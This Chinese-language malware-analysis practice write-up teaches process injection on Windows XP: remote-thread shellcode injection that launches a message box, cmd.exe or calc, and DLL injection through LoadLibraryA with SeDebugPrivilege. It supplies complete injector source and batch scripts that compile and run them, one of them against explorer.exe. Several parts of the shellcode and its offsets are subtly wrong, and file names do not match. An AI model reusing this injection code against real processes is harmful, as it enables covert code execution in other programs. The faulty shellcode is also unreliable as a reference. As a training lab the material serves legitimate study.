# Malware Analysis Practice2

# 1.1、实现直接注入

# 直接注入:

  • 定义:将恶意代码直接写入目标进程内存空间,并控制其执行流程
  • 目的:隐蔽执行、绕过安全检测、权限维持
  • 关键点:不需要磁盘文件,直接在内存中执行

# 实验步骤和方法

创建靶场程序 victim.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 保存为 C:\InjectionLab\victim_xp.cpp
// Windows XP兼容代码
#include <windows.h>
#include <stdio.h>

int main() {
printf("Windows XP 靶场程序\n");
printf("进程ID: %d\n", GetCurrentProcessId());
printf("系统: Windows XP\n");
printf("等待注入...\n");

system("pause");
return 0;
}

创建主注入程序 injector.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include <windows.h>
#include <stdio.h>

int main() {
printf("=== Windows XP注入实验 ===\n\n");

// 方法1:使用最简单的API注入
printf("方法1:使用最简单的注入\n");

// 启动记事本
STARTUPINFO si = {sizeof(si)};
PROCESS_INFORMATION pi;

CreateProcess("notepad.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
printf("记事本PID: %d\n", pi.dwProcessId);

// 等待一下
Sleep(1000);

// 打开进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId);

// 准备一个简单的Shellcode - 只是弹出消息框
unsigned char code[] = {
0x6A, 0x00, // push 0
0x68, 0x65, 0x6C, 0x6C, 0x6F, // push "hello"的一部分
0x68, 0x77, 0x6F, 0x72, 0x6C, // push "world"的一部分
0x6A, 0x00, // push 0
0xB8, 0x77, 0x1D, 0x80, 0x7C, // mov eax, 0x7C801D77 (XP SP3 MessageBoxA地址)
0xFF, 0xD0, // call eax
0xC3 // ret
};

// 注意:0x7C801D77 是 Windows XP SP3 中 MessageBoxA 的固定地址
// 不同系统版本可能不同

// 分配内存
LPVOID remote = VirtualAllocEx(hProcess, NULL, sizeof(code),
MEM_COMMIT, PAGE_EXECUTE_READWRITE);

printf("分配内存: 0x%p\n", remote);

// 写入
WriteProcessMemory(hProcess, remote, code, sizeof(code), NULL);

// 执行
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remote, NULL, 0, NULL);

printf("注入完成!应该看到弹窗。\n\n");

// 方法2:使用WinExec运行计算器
printf("方法2:注入计算器\n");
printf("输入目标PID运行计算器: ");

DWORD pid2;
scanf("%d", &pid2);

HANDLE hProcess2 = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid2);

// Shellcode: WinExec("calc.exe", SW_SHOW)
unsigned char calc_code[] = {
0x6A, 0x05, // push 5 (SW_SHOW)
0x68, 'c','a','l','c', // push "calc"
0x68, '.','e','x','e', // push ".exe"
0x8B, 0xDC, // mov ebx, esp
0x83, 0xC3, 0x04, // add ebx, 4
0x53, // push ebx
0xB8, 0x20, 0x1F, 0x81, 0x7C, // mov eax, 0x7C811F20 (XP SP3 WinExec地址)
0xFF, 0xD0, // call eax
0xC3 // ret
};

LPVOID remote2 = VirtualAllocEx(hProcess2, NULL, sizeof(calc_code),
MEM_COMMIT, PAGE_EXECUTE_READWRITE);

WriteProcessMemory(hProcess2, remote2, calc_code, sizeof(calc_code), NULL);
CreateRemoteThread(hProcess2, NULL, 0, (LPTHREAD_START_ROUTINE)remote2, NULL, 0, NULL);

printf("计算器注入完成!\n");

system("pause");
return 0;
}

创建实用功能注入器 injector_practical.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

// 执行cmd命令的Shellcode(XP x86)
unsigned char cmd_shellcode[] = {
// WinExec("cmd.exe", SW_SHOW) Shellcode
0x60, // pushad

// 字符串 "cmd.exe" 入栈
0x68, 0x65, 0x78, 0x65, 0x00, // push 0x00657865 ("exe\0")
0x68, 0x63, 0x6D, 0x64, 0x2E, // push 0x2E646D63 (".dmc")

0x8B, 0xDC, // mov ebx, esp (ebx指向"cmd.exe")

// 参数入栈
0x6A, 0x05, // push 5 (SW_SHOW = 5)
0x53, // push ebx (cmd.exe字符串)

0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, [WinExec地址占位符]

0xFF, 0xD0, // call eax

0x61, // popad
0xC3 // ret
};

// 执行计算器的Shellcode(XP x86)
unsigned char calc_shellcode[] = {
0x60, // pushad

// 字符串 "calc.exe"
0x68, 0x65, 0x78, 0x65, 0x00, // push 0x00657865 ("exe\0")
0x68, 0x63, 0x61, 0x6C, 0x63, // push 0x636C6163 ("calc")
0x68, 0x2E, 0x00, 0x00, 0x00, // push 0x0000002E (".\0\0\0")

0x8B, 0xDC, // mov ebx, esp

// 调整字符串指针(跳过多余的\0)
0x83, 0xC3, 0x02, // add ebx, 2 (指向"calc.exe")

0x6A, 0x05, // push 5
0x53, // push ebx

0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, [WinExec地址]

0xFF, 0xD0, // call eax

0x61, // popad
0xC3 // ret
};

DWORD GetProcessIdByNameXP(const char* processName) {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) return 0;

PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(snapshot, &pe32)) {
CloseHandle(snapshot);
return 0;
}

DWORD pid = 0;
do {
if (stricmp(pe32.szExeFile, processName) == 0) {
pid = pe32.th32ProcessID;
break;
}
} while (Process32Next(snapshot, &pe32));

CloseHandle(snapshot);
return pid;
}

BOOL InjectShellcodeXP(DWORD pid, unsigned char* shellcode, int size, DWORD funcAddr) {
printf("[*] 注入到 PID: %d\n", pid);

// 1. 填充函数地址
memcpy(&shellcode[13], &funcAddr, 4);

// 2. 打开进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) {
printf("[-] OpenProcess失败: %d\n", GetLastError());
return FALSE;
}

// 3. 分配内存
LPVOID remoteAddr = VirtualAllocEx(hProcess, NULL, size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!remoteAddr) {
printf("[-] VirtualAllocEx失败: %d\n", GetLastError());
CloseHandle(hProcess);
return FALSE;
}

printf("[+] 内存地址: 0x%08X\n", (DWORD)remoteAddr);

// 4. 写入Shellcode
SIZE_T written;
if (!WriteProcessMemory(hProcess, remoteAddr, shellcode, size, &written)) {
printf("[-] WriteProcessMemory失败: %d\n", GetLastError());
VirtualFreeEx(hProcess, remoteAddr, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}

printf("[+] 写入 %d 字节\n", written);

// 5. 创建线程
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)remoteAddr,
NULL, 0, NULL);
if (!hThread) {
printf("[-] CreateRemoteThread失败: %d\n", GetLastError());
VirtualFreeEx(hProcess, remoteAddr, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}

printf("[+] 线程ID: %d\n", GetThreadId(hThread));

// 6. 等待
WaitForSingleObject(hThread, 3000);

// 7. 清理
CloseHandle(hThread);
VirtualFreeEx(hProcess, remoteAddr, 0, MEM_RELEASE);
CloseHandle(hProcess);

return TRUE;
}

int main() {
printf("========== Windows XP实用注入器 ==========\n\n");

// 获取WinExec地址
HMODULE hKernel32 = GetModuleHandle("kernel32.dll");
FARPROC pWinExec = GetProcAddress(hKernel32, "WinExec");

if (!pWinExec) {
printf("[-] 无法获取WinExec地址\n");
system("pause");
return 1;
}

printf("[+] WinExec地址: 0x%08X\n", (DWORD)pWinExec);

// 显示菜单
printf("选择目标进程:\n");
printf("1. notepad.exe\n");
printf("2. explorer.exe (谨慎!)\n");
printf("3. 自定义进程名\n");
printf("4. 列出所有进程\n");
printf("选择: ");

int choice;
scanf("%d", &choice);

char processName[256] = {0};
DWORD pid = 0;

switch (choice) {
case 1:
strcpy(processName, "notepad.exe");
break;
case 2:
strcpy(processName, "explorer.exe");
printf("[!] 警告:注入到explorer.exe可能使系统不稳定!\n");
break;
case 3:
printf("输入进程名: ");
scanf("%s", processName);
break;
case 4:
// 列出进程
printf("\n运行中的进程:\n");
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);

if (Process32First(snapshot, &pe32)) {
do {
printf(" %-30s (PID: %d)\n", pe32.szExeFile, pe32.th32ProcessID);
} while (Process32Next(snapshot, &pe32));
}
CloseHandle(snapshot);

printf("\n输入进程名: ");
scanf("%s", processName);
break;
}

if (strlen(processName) == 0) {
printf("[-] 无效选择\n");
system("pause");
return 1;
}

// 获取PID
pid = GetProcessIdByNameXP(processName);
if (pid == 0) {
printf("[-] 进程未找到: %s\n", processName);
system("pause");
return 1;
}

printf("[+] 目标进程: %s (PID: %d)\n", processName, pid);

// 选择功能
printf("\n选择注入功能:\n");
printf("1. 弹出消息框\n");
printf("2. 打开命令提示符\n");
printf("3. 打开计算器\n");
printf("选择: ");

int funcChoice;
scanf("%d", &funcChoice);

BOOL success = FALSE;

switch (funcChoice) {
case 1: {
// 使用之前的消息框Shellcode
HMODULE hUser32 = GetModuleHandle("user32.dll");
FARPROC pMessageBox = GetProcAddress(hUser32, "MessageBoxA");

// 重新准备消息框Shellcode
unsigned char msgShellcode[] = {
0x60, 0x68, 0x00, 0x00, 0x00, 0x00, 0x68, 0x00, 0x00, 0x00, 0x00,
0x68, 0x00, 0x00, 0x00, 0x00, 0x6A, 0x00, 0xB8, 0x00, 0x00, 0x00,
0x00, 0xFF, 0xD0, 0x61, 0xC3,
'H','e','l','l','o',' ','X','P','!',0,
'I','n','j','e','c','t','i','o','n',0
};

// 填充地址
DWORD remoteBase = 0x2000000;
DWORD textAddr = remoteBase + 25;
DWORD titleAddr = remoteBase + 25 + 10;

memcpy(&msgShellcode[17], &pMessageBox, 4);
memcpy(&msgShellcode[6], &titleAddr, 4);
memcpy(&msgShellcode[11], &textAddr, 4);

success = InjectShellcodeXP(pid, msgShellcode, sizeof(msgShellcode), (DWORD)pMessageBox);
break;
}
case 2:
success = InjectShellcodeXP(pid, cmd_shellcode, sizeof(cmd_shellcode), (DWORD)pWinExec);
break;
case 3:
success = InjectShellcodeXP(pid, calc_shellcode, sizeof(calc_shellcode), (DWORD)pWinExec);
break;
default:
printf("[-] 无效选择\n");
break;
}

if (success) {
printf("\n[+] 注入成功!\n");
} else {
printf("\n[-] 注入失败\n");
}

system("pause");
return 0;
}

创建编译脚本 compile.bat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
@echo off
echo ========================================
echo Windows XP注入程序编译脚本
echo ========================================
echo.

echo [1] 设置MinGW环境
set PATH=C:\MinGW\bin;%PATH%

echo [2] 编译靶场程序
gcc -o victim.exe victim.cpp -lstdc++
if errorlevel 1 (
echo 编译victim.cpp失败!
pause
goto error
)

echo [3] 编译基础注入器
gcc -o injector.exe injector.cpp -lstdc++
if errorlevel 1 (
echo 编译injector.cpp失败!
pause
goto error
)

echo [4] 编译实用注入器
gcc -o injector_practical.exe injector_practical.cpp -lstdc++
if errorlevel 1 (
echo 编译injector.cpp失败!
pause
goto error
)

echo.
echo ========================================
echo 编译完成!
echo 生成的可执行文件:
echo 1. victim.exe
echo 2. injector.exe
echo 3. injector_practical.exe
echo ========================================
echo.
echo 按任意键测试运行...
pause > nul

echo.
echo [5] 测试运行
echo 启动靶场程序...
start victim.exe
timeout /t 2 > nul

echo 运行基础注入器...
injector.exe

echo.
echo 测试完成!
pause
goto end

:error
echo.
echo 编译过程中出现错误!
echo 请检查:
echo 1. MinGW是否正确安装
echo 2. 环境变量是否设置
echo 3. 源代码是否有语法错误
pause

:end

创建实验脚本 experiment.bat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
@echo off
color 0A
echo ==================================================
echo Windows XP远程线程注入实验流程
echo ==================================================
echo.

echo [阶段1] 准备环境
echo 1. 确保在Administrator账户下运行
echo 2. 已安装MinGW编译器
echo 3. 关闭不必要的程序
echo.
pause

echo [阶段2] 编译程序
call compile.bat
if errorlevel 1 (
echo 编译失败,请检查环境!
pause
exit /b 1
)

echo.
echo [阶段3] 实验1:基础注入测试
echo 注:请保持victim.exe窗口打开
echo.
echo 3.1 观察原始进程状态
tasklist | find /i "victim"
echo.
echo 3.2 运行基础注入
injector.exe
echo.
echo 3.3 观察结果
echo 应该看到弹窗 "Injected from XP!"
pause

echo.
echo [阶段4] 实验2:实用注入测试
echo 4.1 打开记事本作为目标
start notepad.exe
timeout /t 2
echo.
echo 4.2 运行实用注入器
injector_practical.exe
echo.
echo 请选择:
echo 目标进程: notepad.exe (输入1)
echo 注入功能: 打开计算器 (输入3)
echo.
pause

echo.
echo [阶段5] 实验3:注入到系统进程(谨慎!)
echo 警告:此实验可能导致系统不稳定!
echo 建议在虚拟机快照后尝试
echo.
set /p answer=是否继续?(y/n):
if /i "%answer%" neq "y" goto skip_system

echo.
echo 5.1 选择explorer.exe作为目标
echo 注意:explorer.exe是Windows外壳程序
echo.
injector_practical.exe
echo.
:skip_system

echo.
echo [阶段6] 清理实验环境
echo 关闭所有测试程序...
taskkill /f /im victim.exe 2>nul
taskkill /f /im notepad.exe 2>nul
echo.
echo [阶段7] 分析注入效果
echo 使用Windows XP自带工具观察:
echo 1. 任务管理器(Ctrl+Shift+Esc)
echo 2. 查看进程的线程数变化
echo 3. 使用Process Explorer(如有安装)
echo.
echo ==================================================
echo 实验完成!
echo ==================================================
pause

双击运行 experiment.bat

可以看到成功编译三个.cpp 文件并且产生三个.exe 文件

在输入进程名称后,提示注入 成功 ,计算机也成功打开

# 2.2、实现 DLL 注入

# DLL 注入

DLL 注入是进程注入的一种形式,它强迫一个远程进程加载恶意 DLL 程序,同时它是最常用的秘密加载技术。

所谓 DLL 注入就是将一个 DLL 放进某个进程的地址空间里,让它成为那个进程的一部分。

# 实验步骤和方法

创建测试 DLL,gen_dll.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <Windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// DLL 被进程加载时调用
// 在这里进行初始化工作
MessageBoxW(NULL, L"DLL injection", L"DLL_PROCESS_ATTACH", MB_ICONINFORMATION | MB_OK);
break;

case DLL_THREAD_ATTACH:
// 线程创建时调用
// MessageBoxW(NULL, L"DLL_THREAD_ATTACH", L"DLL_THREAD_ATTACH", MB_ICONINFORMATION | MB_OK);
break;

case DLL_THREAD_DETACH:
// 线程销毁时调用
// MessageBoxW(NULL, L"DLL_THREAD_DETACH", L"DLL_THREAD_DETACH", MB_ICONINFORMATION | MB_OK);
break;

case DLL_PROCESS_DETACH:
// DLL 被进程卸载时调用
// 在这里进行清理工作
// MessageBoxW(NULL, L"DLL_PROCESS_DETACH", L"DLL_PROCESS_DETACH", MB_ICONINFORMATION | MB_OK);
break;
}

return TRUE;
}

编译得到 gen_dll.dll

1
g++ -shared -o gen_dll.dll gen_dll.cpp

创建注入器程序 injector.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
#include <windows.h>
#include <iostream>
#include <tlhelp32.h>
#include <psapi.h> // 用于获取进程名

BOOL SetDebugPrivilege();

int main(int argc, char* argv[]) {
// 启用调试输出
AllocConsole();
freopen("CONOUT$", "w", stdout);
freopen("CONOUT$", "w", stderr);

std::cout << "Injector starting..." << std::endl;

if (argc != 3) {
std::cout << "Usage: injector.exe <target_process_name> <dll_path>" << std::endl;
system("pause");
return 1;
}

const char* targetProcessName = argv[1];
const char* dllPath = argv[2];

std::cout << "Target process: " << targetProcessName << std::endl;
std::cout << "DLL path: " << dllPath << std::endl;

// 设置调试权限
SetDebugPrivilege();

// 获取进程ID
DWORD processId = 0;
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) {
std::cout << "CreateToolhelp32Snapshot failed. Error: " << GetLastError() << std::endl;
system("pause");
return 1;
}

if (Process32First(snapshot, &entry)) {
do {
if (_stricmp(entry.szExeFile, targetProcessName) == 0) {
processId = entry.th32ProcessID;
std::cout << "Found process: " << entry.szExeFile
<< " PID: " << processId << std::endl;
break;
}
} while (Process32Next(snapshot, &entry));
} else {
std::cout << "Process32First failed. Error: " << GetLastError() << std::endl;
}

CloseHandle(snapshot);

if (processId == 0) {
std::cout << "Failed to find process: " << targetProcessName << std::endl;
system("pause");
return 1;
}

// 打开进程
HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, processId);
if (!hProcess) {
std::cout << "OpenProcess failed. Error: " << GetLastError() << std::endl;
system("pause");
return 1;
}

// 分配内存
SIZE_T pathSize = strlen(dllPath) + 1;
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, pathSize,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!remoteMem) {
std::cout << "VirtualAllocEx failed. Error: " << GetLastError() << std::endl;
CloseHandle(hProcess);
system("pause");
return 1;
}

std::cout << "Allocated memory at: 0x" << std::hex << remoteMem << std::dec << std::endl;

// 写入DLL路径
if (!WriteProcessMemory(hProcess, remoteMem, dllPath, pathSize, NULL)) {
std::cout << "WriteProcessMemory failed. Error: " << GetLastError() << std::endl;
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
system("pause");
return 1;
}

// 获取LoadLibrary地址
HMODULE kernel32 = GetModuleHandle("Kernel32.dll");
if (!kernel32) {
std::cout << "GetModuleHandle failed. Error: " << GetLastError() << std::endl;
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
system("pause");
return 1;
}

LPVOID loadLibraryAddr = (LPVOID)GetProcAddress(kernel32, "LoadLibraryA");
if (!loadLibraryAddr) {
std::cout << "GetProcAddress failed. Error: " << GetLastError() << std::endl;
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
system("pause");
return 1;
}

std::cout << "LoadLibraryA address: 0x" << std::hex << loadLibraryAddr << std::dec << std::endl;

// 创建远程线程
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)loadLibraryAddr,
remoteMem, 0, NULL);
if (!hThread) {
std::cout << "CreateRemoteThread failed. Error: " << GetLastError() << std::endl;
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
system("pause");
return 1;
}

std::cout << "Remote thread created successfully!" << std::endl;

// 等待线程结束
WaitForSingleObject(hThread, 5000);

DWORD exitCode = 0;
GetExitCodeThread(hThread, &exitCode);
std::cout << "Remote thread exit code: " << exitCode << std::endl;

// 清理
CloseHandle(hThread);
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);

std::cout << "Injection completed!" << std::endl;
system("pause");
return 0;
}

BOOL SetDebugPrivilege() {
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tkp;

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return FALSE;

LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);

tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if (!AdjustTokenPrivileges(hToken, false, &tkp, sizeof(tkp), NULL, NULL))
return FALSE;

CloseHandle(hToken);
return TRUE;
}

编译注入器得到 injector.exe

1
gcc -mwindows -o injector.exe injector.c -lpsapi

启动目标进程:

  • 运行 injector.exe, 看到成功注入